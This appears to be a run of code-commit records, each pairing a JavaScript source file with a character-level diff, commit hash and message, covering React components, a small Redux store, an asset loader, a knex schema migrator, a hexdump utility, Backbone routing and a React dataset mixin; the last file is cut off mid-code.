import React, { Component } from 'react'; import { SearchBar, } from 'react-native-elements'; export default class RepoSearchBar extends Component { constructor(props) { super(props) this.handleChange = this.handleChange.bind(this); } render() { return ( <SearchBar lightTheme placeholder='Search for user...' autoCapitalize='none' onChangeText={this.handleChange} /> ); } handleChange(newUsername) { this.props.onChangeText(newUsername); } }
JavaScript
0
@@ -206,16 +206,20 @@ leChange +Text = this. @@ -230,16 +230,20 @@ leChange +Text .bind(th @@ -425,16 +425,20 @@ leChange +Text %7D /%3E%0A @@ -460,16 +460,20 @@ leChange +Text (newUser
95a742be873bd83a32f4de140d6838fb4ce7e1f1
use correct button type
renderer/components/UI/Tab.js
renderer/components/UI/Tab.js
import React from 'react' import PropTypes from 'prop-types' import { Flex } from 'rebass' import Bar from './Bar' import Button from './Button' import Text from './Text' class Tab extends React.PureComponent { static propTypes = { isActive: PropTypes.bool.isRequired, itemKey: PropTypes.string.isRequired, itemValue: PropTypes.node.isRequired, onClick: PropTypes.func.isRequired, } render() { const { itemKey, itemValue, isActive, onClick } = this.props return ( <Flex alignItems="center" flexDirection="column" mr={3}> <Button active={isActive} onClick={() => onClick(itemKey)} px={3} size="small" variant="secondary" > <Text fontWeight="normal">{itemValue}</Text> </Button> {isActive && ( <Bar bg="lightningOrange" style={{ maxWidth: '50px', width: '100%', height: '2px' }} /> )} </Flex> ) } } export default Tab
JavaScript
0.000006
@@ -680,16 +680,40 @@ %22small%22%0A + type=%22button%22%0A
6da312036cd3f10efae60858de8e4be5f5e16439
Add simple test for store 'subscribe' function
simple-redux/src/store/simpleStore.js
simple-redux/src/store/simpleStore.js
'use strict'; import counterReducer from '../reducers/counterReducer'; import simpleActionCreator from '../actions/simpleActionCreators'; function createStore( reducer, initialState ) { let state = initialState; let subscribers = [ ]; function dispatch( action ) { state = reducer( state, action ); subscribers.forEach( subscriber => subscriber() ); } function getState() { return state; } function subscribe( callback ) { subscribers.push( callback ); } return { dispatch, getState, subscribe }; } let startingValue = 0; let incrementAction = simpleActionCreator.increment(); let store = createStore( counterReducer, startingValue ); console.log( store.getState() ); store.dispatch( incrementAction ); console.log( store.getState() ); store.dispatch( incrementAction ); console.log( store.getState() ); store.dispatch( incrementAction ); console.log( store.getState() );
JavaScript
0.000004
@@ -704,16 +704,45 @@ lue );%0A%0A +store.subscribe( () =%3E %7B%0A console. @@ -737,32 +737,44 @@ console.log( + 'State: ' + store.getState( @@ -770,32 +770,37 @@ e.getState() );%0A +%7D );%0A store.dispatch( @@ -822,41 +822,8 @@ );%0A -console.log( store.getState() );%0A stor @@ -857,41 +857,8 @@ );%0A -console.log( store.getState() );%0A stor @@ -892,37 +892,4 @@ );%0A -console.log( store.getState() );%0A
87b2eab406c2ddab5f4324cf490b29c625795703
Fix handler names
lib/assetLoader.js
lib/assetLoader.js
var EventEmitter2 = require('eventemitter2').EventEmitter2; var _ = require('lodash'); var AssetLoader = function(params) { EventEmitter2.apply(this, arguments); AssetLoader.prototype.init.apply(this, arguments); }; var proto = AssetLoader.prototype = Object.create(EventEmitter2.prototype, { constructor: { configurable: true, enumerable: true, value: AssetLoader, writable: true } }); proto.init = function(param) { param = param || {}; this.success = 0; this.failure = 0; this.queue = []; this.resources = {}; this.baseUrl = param.baseUrl || '/'; }; proto.push = function(fileUrl) { var idx = this.queue.indexOf(fileUrl); if (idx < 0) { this.queue.push(fileUrl); } }; proto.start = function() { this.queue.forEach(function(fileUrl, index){ var url = fileUrl[0] === '/' ? fileUrl : this.baseUrl + fileUrl; var xhr = new XMLHttpRequest(); xhr.open('GET', url, true); xhr.responseType = 'blob'; xhr.load = this.onload.bind(this, fileUrl, xhr); xhr.error = this.onerror.bind(this, fileUrl, xhr); xhr.send(); }.bind(this)); }; proto.onerror = function(fileUrl, xhr, e) { this.failure += 1; }; proto.onload = function(fileUrl, xhr, e) { if (this.status === 200) { var blob = new Blob([this.response], {type: 'image/png'}); this.success += 1; this.resources[fileUrl] = blob; } }; module.exports = AssetLoader;
JavaScript
0.000003
@@ -932,16 +932,18 @@ ;%0A%09%09xhr. +on load = t @@ -985,16 +985,18 @@ ;%0A%09%09xhr. +on error =
2ccc6fde32ca4fc6ee0ee609bd458f06e5ab87b1
remove unnecessary code.
lib/automigrate.js
lib/automigrate.js
const async = require('asyncawait/async'); const await = require('asyncawait/await'); const Promise = require('bluebird'); const fs = require('fs'); const helper = require('./index/helper'); module.exports = function(opts) { return new Promise(function(resolve, reject) { opts = opts || {}; const knex = require('knex')(opts.config); // TODO: Migration PK (Y,N) // TODO: Migration Indexes (Y,N) // TODO: Migration Unique Attr. (Y,N) // TODO: Migration Reference Attr. (Y,N) var tabler = function() { var appended = []; return new Proxy({}, { get: function(target, method) { if (method === '__appended__') { return appended; } if (typeof(method) !== 'string' || ['constructor'].indexOf(method) !== -1) { return undefined; } return function(a, b, c) { var proxy = tabler(); appended.push([proxy, method, [a, b, c]]); return proxy; } } }) } var migrator = async(function(tableName, fn, recursive) { var exists = await(knex.schema.hasTable(tableName)); if (!exists) { await(knex.schema.createTable(tableName, function(table) { fn(table); })) } else { var existColumns = await(knex.from(tableName).columnInfo()); var existIndexes = require('./index')(knex, tableName); var schemaColumns = {}; var schemaIndexes = {pk: [], uk: [], key: [], fk: []}; await(knex.schema.alterTable(tableName, function(table) { var prevColumnName = undefined; var columnName = undefined; var proxy = tabler(); fn(proxy); var column = function(t, e, depth) { if (!e || !e[0]) return; var method = e[1]; var args = e[2]; if (depth === 0) { columnName = e[2][0]; schemaColumns[columnName] = true; } // If exists primary key already. if (method === 'increments' && existIndexes.pk.length > 0) { return t; } if (method === 'index') { schemaIndexes.key.push(typeof(args[0]) === 'string' ? [args[0]] : args[0]); // If exists index already. if (existIndexes.isIndexExists(args[0], args[1])) { return t; } } var isAppliable = true; if (method === 'references') { schemaIndexes.fk.push([columnName, typeof(args[0]) === 'string' ? [args[0]] : args[0]]); // If exists foreign key already. if (existIndexes.isForeignKeyExists(columnName, args[0])) { isAppliable = false; } } if (method === 'unique') { var keys = args[0] || columnName; schemaIndexes.uk.push(typeof(keys) === 'string' ? [keys] : keys); // If exists unique index already. if (existIndexes.isUniqueExists(args[0] || columnName)) { isAppliable = false; if (depth === 0) { return t; } } } if (method === 'primary') { var keys = args[0] || columnName; schemaIndexes.pk.push(typeof(keys) === 'string' ? [keys] : keys); // If exists primary key already. if (existIndexes.isPrimaryKeyExists(args[0] || columnName)) { isAppliable = false; if (depth === 0) { return t; } } } if (isAppliable) { var fn = t[method]; t = fn.apply(t, args); } e[0].__appended__.forEach(function(e) { t = column(t, e, depth + 1); }); if (depth === 0) { if (['index', 'unique'].indexOf(method) === -1) { if (existColumns[columnName]) { t.alter(); } else { if (prevColumnName) { t = t.after(prevColumnName); } else { t = t.first(); } } } prevColumnName = columnName; } return t; }; proxy.__appended__.forEach(function(e) { t = column(table, e, 0); }); // Drop unused columns. var dropColumns = []; Object.keys(existColumns).forEach(function(e) { if (!schemaColumns[e]) { Object.keys(existIndexes.fk).forEach(function(key) { if (helper.isArrayEqual([e], existIndexes.fk[key].key)) { table.dropForeign(undefined, key); } }); dropColumns.push(e); } }); if (dropColumns.length > 0) { table.dropColumns(dropColumns); } // Drop unused indexes. Object.keys(existIndexes.key).forEach(function(key) { var found = false; schemaIndexes.key.forEach(function(sKey) { if (helper.isArrayEqual(existIndexes.key[key], sKey)) found = true; }); schemaIndexes.fk.forEach(function(sKey) { sKey = typeof(sKey[0]) === 'string' ? [sKey[0]] : sKey[0]; if (helper.isArrayEqual(existIndexes.key[key], sKey)) found = true; }); if (!found) { table.dropIndex(undefined, key); } }); Object.keys(existIndexes.uk).forEach(function(key) { var found = false; schemaIndexes.uk.forEach(function(sKey) { if (helper.isArrayEqual(existIndexes.uk[key], sKey)) found = true; }); if (!found) { table.dropUnique(undefined, key); } }); })) } return tableName; }); var promises = []; opts.path = opts.cwd || process.cwd(); console.log(opts.path); fs.readdirSync(opts.path).forEach(function(name) { if (name.slice(0, 6) !== 'table_') return; require(opts.path + '/' + name).auto(migrator, knex).forEach(function(e) { promises.push([name, e]); }); }); var execute = function(i) { promises[i][1].then(function(res) { console.info('* Table `' + res + '` has been migrated.'); if (i < promises.length - 1) { execute(i + 1); } else { resolve(); } }).catch(function(err) { console.error('* Table `' + promises[i][0] + '` migration failed.'); reject(err); }); }; if (promises.length > 0) { execute(0); } else { console.info('* No schema exist.'); } }); };
JavaScript
0.000011
@@ -6204,36 +6204,8 @@ d(); -%0A console.log(opts.path); %0A%0A
426a71fc61ec92beef37241e3de57e9db1845af7
Fix accidental trailing zero in offsets
hexdump.js
hexdump.js
'use strict'; var zero = function (n, max) { n = n.toString(16).toUpperCase(); while (n.length < max) { n = '0' + n; } return n; }; module.exports = function (buffer) { var rows = Math.ceil(buffer.length / 16); var last = buffer.length % 16 || 16; var offsetLength = buffer.length.toString(16).length; if (offsetLength < 6) offsetLength = 6; var str = 'Offset'; while (str.length < offsetLength) { str += ' '; } str = /*'\u001b[36m' +*/ str + ' '; var i; for (i = 0; i < 16; i++) { str += ' ' + zero(i, 2); } //str += '\u001b[0m\n'; if (buffer.length) str += '\n'; var b = 0; var lastBytes; var lastSpaces; var v; for (i = 0; i < rows; i++) { str += /*'\u001b[36m' +*/ zero(b, offsetLength) + /*'\u001b[0m '*/ + ' '; lastBytes = i === rows - 1 ? last : 16; lastSpaces = 16 - lastBytes; var j; for (j = 0; j < lastBytes; j++) { str += ' ' + zero(buffer[b], 2); b++; } for (j = 0; j < lastSpaces; j++) { str += ' '; } b -= lastBytes; str += ' '; for (j = 0; j < lastBytes; j++) { v = buffer[b]; str += (v > 31 && v < 127) || v > 159 ? String.fromCharCode(v) : '.'; b++; } str += '\n'; } //process.stdout.write(str); console.log(str); };
JavaScript
0.999999
@@ -473,16 +473,17 @@ str + ' + ';%0A%0A v @@ -772,18 +772,16 @@ %5B0m '*/ - + ' ';%0A
e4032f6a95f141904ceba2950083311d59fd17b7
Store vault data on the user once we have it Useful for further sharing process and progress calculation
js/app/controllers/share.js
js/app/controllers/share.js
'use strict'; /** * @ngdoc function * @name passmanApp.controller:MainCtrl * @description * # MainCtrl * Controller of the passmanApp */ angular.module('passmanApp') .controller('ShareCtrl', ['$scope', 'VaultService', 'CredentialService', 'SettingsService', '$location', '$routeParams', 'ShareService', function ($scope, VaultService, CredentialService, SettingsService, $location, $routeParams, ShareService) { $scope.active_vault = VaultService.getActiveVault(); $scope.tabs = [{ title: 'Share with users and groups', url: 'views/partials/forms/share_credential/basics.html', }, { title: 'Share link', url: 'views/partials/forms/share_credential/expire_settings.html', color: 'green' }]; $scope.currentTab = { title: 'General', url: 'views/partials/forms/share_credential/basics.html' }; $scope.onClickTab = function (tab) { $scope.currentTab = tab; }; $scope.isActiveTab = function (tab) { return tab.url == $scope.currentTab.url; }; if (!SettingsService.getSetting('defaultVault') || !SettingsService.getSetting('defaultVaultPass')) { if (!$scope.active_vault) { $location.path('/') } } else { if (SettingsService.getSetting('defaultVault') && SettingsService.getSetting('defaultVaultPass')) { var _vault = angular.copy(SettingsService.getSetting('defaultVault')); _vault.vaultKey = angular.copy(SettingsService.getSetting('defaultVaultPass')); VaultService.setActiveVault(_vault); $scope.active_vault = _vault; } } var storedCredential = SettingsService.getSetting('share_credential'); if (!storedCredential) { $location.path('/vault/' + $routeParams.vault_id); } else { $scope.storedCredential = CredentialService.decryptCredential(angular.copy(storedCredential)); } if ($scope.active_vault) { $scope.$parent.selectedVault = true; } $scope.cancel = function(){ SettingsService.setSetting('share_credential', null); $location.path('/vault/' + $scope.storedCredential.vault_id); }; $scope.share_settings = { credentialSharedWithUserAndGroup:[] }; $scope.accessLevels = [ { label: 'Can edit', value: '2' }, { label: 'Can view', value: '1' } ]; $scope.inputSharedWith = []; $scope.selectedAccessLevel = '1'; $scope.searchUsers = function($query){ return ShareService.search($query) }; $scope.shareWith = function(shareWith, selectedAccessLevel){ $scope.inputSharedWith = []; if(shareWith.length > 0) { for (var i = 0; i < shareWith.length; i++) { $scope.share_settings.credentialSharedWithUserAndGroup.push( { userId: shareWith[i].uid, displayName: shareWith[i].text, type: shareWith[i].type, accessLevel: selectedAccessLevel } ) } } }; $scope.applyShare = function(){ ShareService.generateSharedKey(20).then(function(key){ console.log(key); var list = $scope.share_settings.credentialSharedWithUserAndGroup; console.log(list); for (var i = 0; i < list.length; i++){ ShareService.getVaultsByUser(list[i].userId).then(function(data){ console.log(data); var start = new Date().getTime() / 1000;; ShareService.cypherRSAStringWithPublicKeyBulkAsync(data, key) .progress(function(data){ console.log(data); }) .then(function(result){ console.log(result); console.log("Took: " + ((new Date().getTime() / 1000) - start) + "s to cypher the string for user [" + data[0].user_id + "]"); }); }); } }) } }]);
JavaScript
0
@@ -3109,24 +3109,53 @@ tion(data)%7B%0A +%09%09%09%09%09%09list%5Bi%5D.vaults = data;%0A %09%09%09%09%09%09consol
8c1f2752a8bc33a3466d9b618b5198b57050d3a3
add default w h x y
lib/core/Parser.js
lib/core/Parser.js
/** * GKA (generate keyframes animation) * author: joeyguo * HomePage: https://github.com/joeyguo/gka * MIT Licensed. * */ const fs = require('fs'), path = require('path'), sizeOf = require('image-size'), PNG = require('pngjs').PNG; // 根据文件名最后的数字进行排序 const sortByFileName = files => { const reg = /[0-9]+/g; return files.sort((a, b) => { let na = (a.match(reg) || []).slice(-1), nb = (b.match(reg) || []).slice(-1) return na - nb }); } // log 不支持的格式的文件列表 const logUnSupportedList = (isLog, data) => { if (!isLog) return console.log("\n[unsupported]:") for (var i = 0; i < data.length; i++) { console.log(data[i]) } console.log() } // 匹配出多倍图文件夹的实际名字和倍数, eg: name@2x const getRatioAndNameByFolderName = name => { const re = /(.*)@([1-9])x$/; let res = name.match(re) || [name, name, 1]; return { name: res[1], ratio: res[2], } } const separateDataByRatio = (data) => { let ratioDataMap = {} let newData = [] for(let folderName in data) { let { name, ratio = 1 } = getRatioAndNameByFolderName(folderName) let _frames = data[folderName]; ratioDataMap[ratio] = ratioDataMap[ratio] || {} let { frames = [], animations = {} } = ratioDataMap[ratio]; animations[name] = animations[name] || [] _frames.map(item => { frames.push(item) animations[name].push(frames.length - 1) }) ratioDataMap[ratio]['frames'] = frames ratioDataMap[ratio]['animations'] = animations } for(let ratio in ratioDataMap) { let item = ratioDataMap[ratio] item['ratio']= ratio newData.push(item) } return newData } class FolderParser { constructor(...args) { } apply(compiler) { compiler.hooks.on('parse', (context, next) => { const dir = context.options.dir; context.data = this.parse(dir); console.log('[+] parse') next(context); }) } parse(dir) { // 判断分析方式 let data = this.anylize(dir) return data } anylize(dir) { let data = FolderParser.parseImageFrame(dir) // 区分多配图 data = separateDataByRatio(data) return data } // 遍历文件夹拿到图片列表 static parseImageFrame(dir) { const supportedSuffex = ['.jpg', '.png', '.jpeg'] let data = {} // 不支持的文件列表 let unSupportedList = [] const iteratior = (dir, key) => { let files = fs.readdirSync(dir) files = sortByFileName(files) files.map(file => { const filepath = path.join(dir, file), stats = fs.statSync(filepath) // 目录地址进行迭代读取 if (!stats.isFile()) return iteratior(filepath, path.basename(filepath)) const suffix = path.extname(filepath); // 忽略不支持的文件格式 if (!~supportedSuffex.indexOf(suffix)) return unSupportedList.push(filepath) let { width, height } = sizeOf(filepath) data[key] = data[key] || [] // 数据存入 data[key].push({ src: filepath, width, height, offX: 0, offY: 0, sourceW: width, sourceH: height, }); }) } // 开始迭代读取数据 iteratior(dir, path.basename(dir)) logUnSupportedList(unSupportedList.length > 0, unSupportedList) // TODO [error]: Can not find images return data } } module.exports = FolderParser;
JavaScript
0.000114
@@ -3073,24 +3073,76 @@ eH: height,%0A +%09%09%09%09%09w: width,%0A%09%09%09%09%09h: height,%0A%09%09%09%09%09x: 0,%0A%09%09%09%09%09y: 0%0A %09%09%09%09%7D);%0A
b70d9284ca219c4c1d2872a6990ea223957f7660
fix redirect
js/routers/accountRouter.js
js/routers/accountRouter.js
define(['jquery', 'backbone','views/AlertGeneralView','views/AlertConfirmView','views/AlertErrorView','views/GlobalView','views/LoginView', 'views/RegistrationView','views/CompleteRegistrationView','views/ForgotPasswordView','views/ResetPasswordView','views/ProjectMessagingView', 'views/ProfileView'] , function($, Backbone, AlertGeneralView, AlertConfirmView, AlertErrorView, GlobalView, LoginView, RegistrationView, CompleteRegistrationView, ForgotPasswordView, ResetPasswordView, ProjectMessagingView, ProfileView){ // bind alerts Alerts.General = new AlertGeneralView(); Alerts.Confirm = new AlertConfirmView(); Alerts.Error = new AlertErrorView(); // main router var Router = Backbone.Router.extend({ initialize: function(){ var me = this; // establish event pub/sub this.eventPubSub = _.extend({}, Backbone.Events); // init HTTP request methods this.httpreq = new HTTPRequest(); if(utils.detectIE()) $.ajaxSetup({cache:false}); // init model connector for REST this.mc = new ModelConnector(this.httpreq); this.opts = { hasInit : false }; utils.setIndexOf(); //this.setState(function(){}); this.GLOBAL = {}; // init site views var gv = new GlobalView({opts:this.opts, eventPubSub:this.eventPubSub}); var lv = new LoginView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); var rv = new RegistrationView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); var crv = new CompleteRegistrationView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); var fpv = new ForgotPasswordView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); var rpv = new ResetPasswordView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); var mv = new ProjectMessagingView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); var pv = new ProfileView({opts:this.opts,mc:this.mc, router:this, eventPubSub:this.eventPubSub}); // override default backbone model sync method to be compatible with Magnet REST APIs syncOverride(this.mc, this.eventPubSub); Backbone.history.start(); }, routes: { '' : 'messaging', 'login' : 'login', 'register' : 'register', 'complete-register' : 'completeRegister', 'forgot-password' : 'forgotPassword', 'reset-password' : 'resetPassword', 'messaging' : 'messaging', 'messaging/:id' : 'messaging', 'messaging/:id/:view' : 'messaging', 'profile' : 'profile', '*notFound' : 'messaging' }, login: function(callback){ var me = this; if(GLOBAL.serverType == 'hosted' && GLOBAL.authUrl) window.location.href = GLOBAL.authUrl.substring(0, GLOBAL.authUrl.indexOf('/', 8)) + '/sign-in/'; else me.eventPubSub.trigger('resetGlobalPages', 'login-container'); me.eventPubSub.trigger('initLogin', callback); }, register: function(callback){ var me = this; me.setState(function(){ if(!me.opts.emailEnabled) return me.handleEmailDisabled(); me.eventPubSub.trigger('resetGlobalPages', 'registration-container'); me.eventPubSub.trigger('initRegistration', callback); }); }, completeRegister: function(callback){ var me = this; me.setState(function(){ me.eventPubSub.trigger('resetGlobalPages', 'completeregistration-container'); me.eventPubSub.trigger('initCompleteRegistration', callback); }); }, forgotPassword: function(callback){ var me = this; me.setState(function(){ if(!me.opts.emailEnabled) return me.handleEmailDisabled(); me.eventPubSub.trigger('resetGlobalPages', 'forgotpassword-container'); me.eventPubSub.trigger('initForgotPassword', callback); }); }, resetPassword: function(callback){ var me = this; me.eventPubSub.trigger('resetGlobalPages', 'resetpassword-container'); me.eventPubSub.trigger('initResetPassword', callback); }, messaging: function(id, view){ var me = this; me.auth(function(){ me.eventPubSub.trigger('resetGlobalPages', 'mmx-container'); me.eventPubSub.trigger('initMessaging', { id : id, view : view }); }); }, profile: function(){ var me = this; me.auth(function(){ me.eventPubSub.trigger('resetGlobalPages', 'profile-container'); me.eventPubSub.trigger('initProfile'); }); }, setState: function(cb){ var me = this; if(me.opts.hasInit) return cb(); AJAX('status', 'GET', 'application/json', null, function(res, status, xhr){ switch(res.platform){ case 'init': { return window.location.href = '/wizard'; } case 'standalone': { $('#leave-feedback-container').remove(); $('#confirm-tos-dialog').remove(); if(res.newMMXUser){ me.opts.newMMXUser = true; } break; } } if(res.serverType == 'single'){ $('.admin-only-item').remove(); $('.advanced-settings-view-link').removeClass('advanced-settings-view-link'); $('#brand-logo-normal').show(); }else if(res.serverType == 'hosted'){ GLOBAL.authUrl = res.authUrl; GLOBAL.serverType = res.serverType; $('#user-identity').attr('data-content', "<div class='user-navigation-menu clearfix'><a href='#' id='logout-btn'><i class='fa fa-2x fa-sign-out'></i> Sign Out</a></div>"); $('#user-identity .fa-cog').remove(); $('#user-navigation .separator').remove(); $('#user-identity .caret').css('margin-top', '13px').css('margin-right', '10px'); $('#brand-logo-sandbox').show(); $('#mmx-contextual-doc-btn').remove(); $('.hosted-messaging-item').removeClass('hidden'); }else{ $('#brand-logo-normal').show(); } me.opts.serverStatus = res; if(res.emailEnabled){ me.opts.emailEnabled = res.emailEnabled; } me.opts.hasInit = true; cb(); }, function(xhr){ if(xhr.status == 404 && GLOBAL.baseUrl != '/js/rest/'){ GLOBAL.baseUrl = '/js/rest/'; me.setState(cb); } }); }, handleEmailDisabled: function(){ Alerts.Error.display({ title : 'Email Feature Disabled', content : 'The email feature has not yet been enabled. As a result, users will not be able to register or recover their password on their own. See the README for more information.' }); Backbone.history.navigate('#/login'); }, auth: function(callback){ var me = this; timer.stop(); var popover = $('#user-nav-popover'); popover.popover('hide'); me.setState(function(){ if(!me.opts.user){ me.eventPubSub.trigger('getUserProfile', callback); }else{ callback(); } }); } }); return Router; }); var Alerts = {};
JavaScript
0.000001
@@ -3296,14 +3296,21 @@ '/s -ign-in +andbox-logout /';%0A
d5896fc4ba7cedd723fd001fb5a0de7ea2fa47ce
Fix storage bug
js/src/models/Tournament.js
js/src/models/Tournament.js
import Vue from 'vue' import { isGoZeroDateOrFalsy } from '../util/date.js' import moment from 'moment' import Event from './Event.js' import Player from './Player.js' import Person from './Person.js' import Match from './Match.js' import _ from 'lodash' export default class Tournament { static fromObject (obj) { let t = new Tournament() t.raw = obj Object.assign(t, obj) t.opened = moment(t.opened) t.scheduled = moment(t.scheduled) t.started = moment(t.started) t.ended = moment(t.ended) t.matches = _.map(t.matches, (m) => { return Match.fromObject(m, t) }) t.players = _.map(t.players, Player.fromObject) t.runnerups = _.map(t.runnerups, Person.fromObject) t.casters = _.map(t.casters, Person.fromObject) let events = t.events _.each(t.matches, (m) => { events = _.concat(events, m.events) }) events = _.omitBy(events, _.isNil) // TODO(thiderman): Why are there nil items? hwat events = _.sortBy(events, [(o) => { return o.time }]) events = _.reverse(events) events = _.map(events, Event.fromObject) t.events = events return t } get next () { return this.currentMatch.index } playerJoined (person) { let p = _.find(this.players, function (p) { return p.person.id === person.id }) return p !== undefined } get numeral () { let n = this.name.split(" ")[1] return n.substring(0, n.length - 1) // Remove the colon } get numeralColor () { if (this.color) { return this.color } return "default-numeral" } get subtitle () { return this.name.replace(/.*: /, "") } get isStarted () { return !isGoZeroDateOrFalsy(this.started) } get isEnded () { return !isGoZeroDateOrFalsy(this.ended) } get isTest () { return !this.name.startsWith('DrunkenFall') } get betweenMatches () { if (this.isEnded) { return false } else if (this.isStarted && !this.matches[0].isStarted) { return true } return this.currentMatch.isEnded && !this.upcomingMatch.isStarted } get endedRecently () { return moment().isBetween(this.ended, moment(this.ended).add(6, 'hours')) } get canStart () { return !this.isStarted } get isUpcoming () { return moment().isBefore(this.scheduled) && this.canStart } get isNext () { return Vue.$store.getters.upcoming[0].id === this.id } get isToday () { return moment().isSame(this.scheduled, 'day') } get isRunning () { return this.isStarted && !this.isEnded } get canShuffle () { // We can only shuffle after the tournament has started (otherwise // technically no matches exists, so nothing can be shuffled // into), and before the first match has been started. // let match = Match.fromObject(this.matches[0], this) return this.isStarted && !this.matches[0].isStarted } get isUsurpable () { return this.players.length < 32 } get shouldBackfill () { let c = this.currentMatch if (!c) { return false } let ps = _.sumBy(this.semis, (m) => { return m.players.length }) if (c.kind === 'semi' && ps < 8) { return true } return false } get currentMatch () { return this.matches[this.current] } // This is supposed to be used when you need the next match before // it is started. It returns the upcoming match if the current one // is ended. get upcomingMatch () { let m = this.matches[this.current] if (m.isEnded) { return this.matches[this.current + 1] } return m } get playoffs () { return _.slice(this.matches, 0, this.matches.length - 3) } get semis () { let l = this.matches.length return _.slice(this.matches, l - 3, l - 1) } get final () { return this.matches[this.matches.length - 1] } }
JavaScript
0.000001
@@ -4,18 +4,20 @@ ort -Vu +stor e from ' vue' @@ -16,10 +16,20 @@ om ' -vu +../core/stor e'%0Ai @@ -2361,20 +2361,87 @@ +if (store.getters.upcoming.length === 0) %7B%0A return false%0A %7D%0A return -Vue.$ stor
19086b49a25071cb424862b296afccfe65f48d82
document query params
js/util/query-parameters.js
js/util/query-parameters.js
// Copyright 2002-2013, University of Colorado Boulder /** * Reads query parameters from browser window's URL. * This file must be loaded before requirejs is started up, and this file cannot be loaded as an AMD module. * The easiest way to do this is via a <script> tag in your HTML file. * * @author Sam Reid, PhET * @author Chris Malley (PixelZoom, Inc.) */ (function() { 'use strict'; if ( !window.phetcommon ) { window.phetcommon = {}; } //Pre-populate the query parameters map so that multiple subsequent look-ups are fast var queryParamsMap = {}; if ( typeof window !== 'undefined' && window.location.search ) { var params = window.location.search.slice( 1 ).split( '&' ); for ( var i = 0; i < params.length; i++ ) { var nameValuePair = params[i].split( '=' ); queryParamsMap[nameValuePair[0]] = decodeURIComponent( nameValuePair[1] ); } } /** * Retrieves the first occurrence of a query parameter based on its key. * Returns undefined if the query parameter is not found. * @param {String} key * @return {String} */ window.phetcommon.getQueryParameter = function( key ) { return queryParamsMap[key]; }; }());
JavaScript
0.000001
@@ -286,16 +286,808 @@ L file.%0A + * %3Cp%3E%0A * Available query parameters:%0A *%0A * dev - enable developer-only features%0A * fuzzMouse - randomly sends mouse events to sim%0A * fuzzTouches - randomly sends touch events to sim (not working as of 10/8/13)%0A * locale - test with a specific locale%0A * playbackInputEventLog - plays event logging back from the server, provide an optional name for the session%0A * recordInputEventLog - enables input event logging, provide an optional name for the session, log is available via PhET menu%0A * screenIndex - selects this screen on the home screen%0A * showHomeScreen - if false, go immediate to screenIndex, defaults to screenIndex=0%0A * showPointerArea - touch areas in red, mouse areas in blue, both dotted outlines%0A * standalone - runs screenIndex as a standalone sim, defaults to screenIndex=0%0A *%0A * @a
b29a80481c279a4f53ff65e6b54052891362b989
Add initial error handling
lib/createClass.js
lib/createClass.js
var React = require('react') , _ = require('./utils') , Constants = require('./Constants') , StackInvoker = require('./StackInvoker') , STATUS_STALE = Constants.status.STALE , TIMESTAMP_LOADING = Constants.timestamp.loading; var anyDataset = function(names, predicate) { var self = this; if (names) { names = [].concat(names || []); } return _.any(this.datasets, function(dataset, key) { if (names && names.indexOf(key) === -1) { return false; } return predicate(self[key]); }); }; var validateDataset = function(dataset, datasetKey) { // support dynamic dataset generators if we find a function if (_.isFunction(dataset)) { dataset = dataset.call(this); } if (!dataset) { throw new TypeError("validateDataset: expected non-null dataset for `" + datasetKey + "`"); } else if (!dataset.resolve) { throw new TypeError("validateDataset: expected MixinResolvable derived dataset for `" + datasetKey + "`"); } return dataset; }; var MixinStatus = { isLoading: function(names) { return anyDataset.call(this, names, function(resource) { return resource.timestamp === TIMESTAMP_LOADING && resource.status === STATUS_STALE; }); }, isPending: function(names) { return anyDataset.call(this, names, function(resource) { return resource.isPending(); }); }, hasData: function(names) { return !anyDataset.call(this, names, function(resource) { return !resource.data; }); }, isStale: function(names) { return !anyDataset.call(this, names, function(resource) { return resource.status !== STATUS_STALE; }); } }; var createMixinDatasetAccessor = function(dataset, datasetKey) { return { componentWillMount: function() { var self = this , accessor = null , wrapper = {} , mutable = {} , validationErrors = {} , resource; dataset = validateDataset.call(this, dataset, datasetKey); if (this.datasetConfig && this.datasetConfig[datasetKey]) { dataset = dataset.createDataset(this.datasetConfig[datasetKey]); } resource = StackInvoker.invoke(dataset.resolve({__params: this.getComponentParams()})); // Wrap each allowed action to provide params & the mutable before // resolving to our given dataset. _.each(resource.actions, function(action, key) { var actionWrapper = action.wrap(function(stack) { return dataset.resolve([].concat( {__params: self.getComponentParams()}, mutable, stack || [] )); }, self); actionWrapper.__resolveInvoker = function(stack) { // TODO: We only allow one action to process at a time for now? if (actionWrapper.isPending) { return; } actionWrapper.isPending = true; var promise = StackInvoker.invoke(stack); if (!promise.then) { return promise; } promise.then(function() { actionWrapper.isPending = false; }, function(response) { actionWrapper.isPending = false; // TODO: Pending json format spec if (_.isPlainObject(response.data)) { // validationErrors = response.data.errors || {}; } }); return promise; }; wrapper[key] = actionWrapper; }); wrapper.set = function(attribute, value) { mutable[attribute] = value; self.forceUpdate(); }; wrapper.setter = function(attribute) { return function(value) { mutable[attribute] = value; self.forceUpdate(); }; }; wrapper.unset = function() { mutable = {}; }; wrapper.isDirty = function(attribute) { if (attribute) { return mutable[attribute] && mutable[attribute] !== accessor[attribute]; } else { return _.any(mutable, function(value, key) { return value !== accessor[key]; }); } }; wrapper.isPending = function(names) { if (names) { names = [].concat(names); } return _.any(resource.actions, function(action, key) { return (!names || names.indexOf(key) !== -1) && wrapper[key].isPending; }); }; Object.defineProperty(this, datasetKey, { get: function () { if (accessor) { return accessor; } var result = StackInvoker.invoke(dataset.resolve([ {__params: self.getComponentParams()}, {__params: {__getable: !!wrapper.get}}, // Sneakily hide in params for Resolver {__resolve: "fetch"} ])); // NOTE: mutable data only affects a non-collection type? if (result.data && _.isPlainObject(result.data)) { result.data = _.extend({}, result.data, mutable); } accessor = _.extend({}, wrapper, result); accessor.validationErrors = validationErrors; return accessor; } }); // Do we have a store we can subscribe to for component render updates? if (resource.store) { var localEvent = resource.event , globalEvent = resource.type + ":" + localEvent , subscriptions = this.subscriptions = this.subscriptions || {}; if (!subscriptions[globalEvent]) { // TODO: Switch this to throttle/debounce // TODO: We could also override render in the given component and toggle // a render flag subscriptions[globalEvent] = resource.store.subscribe(localEvent, function() { _.nextTick(function() { // We double check subscription status before invoking incase we were just unmounted if (self.subscriptions) { accessor = null; self.forceUpdate(); } 